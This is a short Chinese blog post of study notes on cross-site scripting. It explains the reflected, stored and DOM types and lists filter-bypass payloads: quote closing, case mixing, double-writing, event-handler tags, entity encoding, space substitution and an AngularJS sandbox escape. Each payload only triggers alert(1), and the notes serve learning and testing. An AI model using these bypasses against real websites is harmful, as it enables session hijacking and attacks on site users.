xss注入

xss注入

基本类型:反射型、存储型、DOM型


js事件:HTML 事件参考手册 (w3school.com.cn)


反射型xss

特点:仅执行一次

攻击方式:攻击者将含有xss恶意代码的链接发送给用户,当用户访问链接时,服务器接收用户请求(如果服务器没用进行检查),把带有xss代码的数据发送给用户浏览器,浏览器解析xss恶意脚本后触发漏洞


输入框使用js代码



存储型xss

特点:持久

攻击方式:攻击者在发帖的同时将恶意脚本连同帖子一起上传,服务器存储于数据库中,当其他用户访问该帖子时,恶意脚本就在他们的浏览器执行


用于论坛、博客、留言板

输入的信息保存于数据库中,下次读取时拼接到前端代码


DOM型xss

DOM型xss是一种特殊的反射型xss,基于DOM文档对象模型的一种漏洞,不与后端交互

通过 HTML DOM,JavaScript 能够访问和改变 HTML 文档的所有元素。


攻击方式:用户请求了一个恶意url,参数中可能有些值会被动态js代码所执行,当用户的浏览器处理响应时,JavaScript 改变 HTML 文档的元素,引入xss。



xss绕过

闭合+事件绕过

javascript伪协议:javascript伪协议 - komomon - 博客园 (cnblogs.com)

<input name=keyword  value="...">
<input name=keyword  value="" onclick='javascript:alert(1)'">

单引号或双引号闭合标签+js事件

如果本身是在script标签里面,就用js语法闭合

原:var username = '......'; payload=';alert(1);'

var username = '';alert(1);'';


大小写绕过

<ScRipt>alert(1)</ScriPt>


双写绕过

如果后端代码是将特殊标签如script替换成 "" 时使用

<scr<script>ipt>alert(1)</scr<script>ipt>


标签绕过

/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i,完全过滤script标签

<img src=1 onerror=alert(1)> //onerror 事件在加载外部文件(文档或图像)发生错误时触发。可了解一下js的事件

<audio>、<embed>、<img>、<object> 以及 <video>

<a href="javascript:alert(1)">flag</a>

<svg onload=alert(1)>

也可用假标签:<m onclick="alert(1)">



编码绕过

HTML编码

&开头,;结尾

只要是DOM节点里属性的值,都可以被HTML编码和解析

属性状态的字符引用:如<a href=j&#x61;v&#97script:&#97lert(1)>M

里面的实体编号值可绕过检测,到客户端时被解析成对应的实体符号javascript:alert(1)


URL编码

对协议(javascript)部分使用HTML编码,后面命令执行进行URL编码


javascript编码


注:Unicode 编码不能对括号使用


空格绕过

过滤空格时:用/替换,<a/href=....>

用换行符替换,URL编码将回车符转换为%0d、%0a


POST报文头注入

referer、user-agent、cookie,闭合注入,与sql类似

当接收参数涉及到POST报文的内容时使用



当有\转义时,尝试用\闭合;

原:var username = '......'; payload=\';alert(1);'

var username = '\';alert(1);'';


沙箱逃逸

AngularJS(Angular)是一个著名的基于JavaScript的开源Web框架,从Angular1.6及以后版本,Angular沙箱已被删除

XSS payload如下:

{{7*7}}

如果算出49,说明可沙箱逃逸

payload:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };语句//');}}

如:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

利用:AngularJS Sandbox Bypasses - 先知社区 (aliyun.com)


文章

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户



posted @ 2023-10-30 18:34  ^cyi^  阅读(52)  评论(0编辑  收藏  举报